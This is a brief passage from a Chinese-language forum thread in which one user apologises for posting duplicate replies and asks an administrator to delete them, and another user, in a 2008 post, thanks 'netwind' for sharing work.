刚才老回复不成功,以为没回复上,就多点了几次回复,没想到回了这么多,管理员请删除多余回复
雪    币: 46932
活跃值: 活跃值 (170300)
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
linhanshi 活跃值 2008-1-15 16:46
8
0
Thanks again for sharing your efforts netwind!
游客
登录 | 注册 方可回帖
返回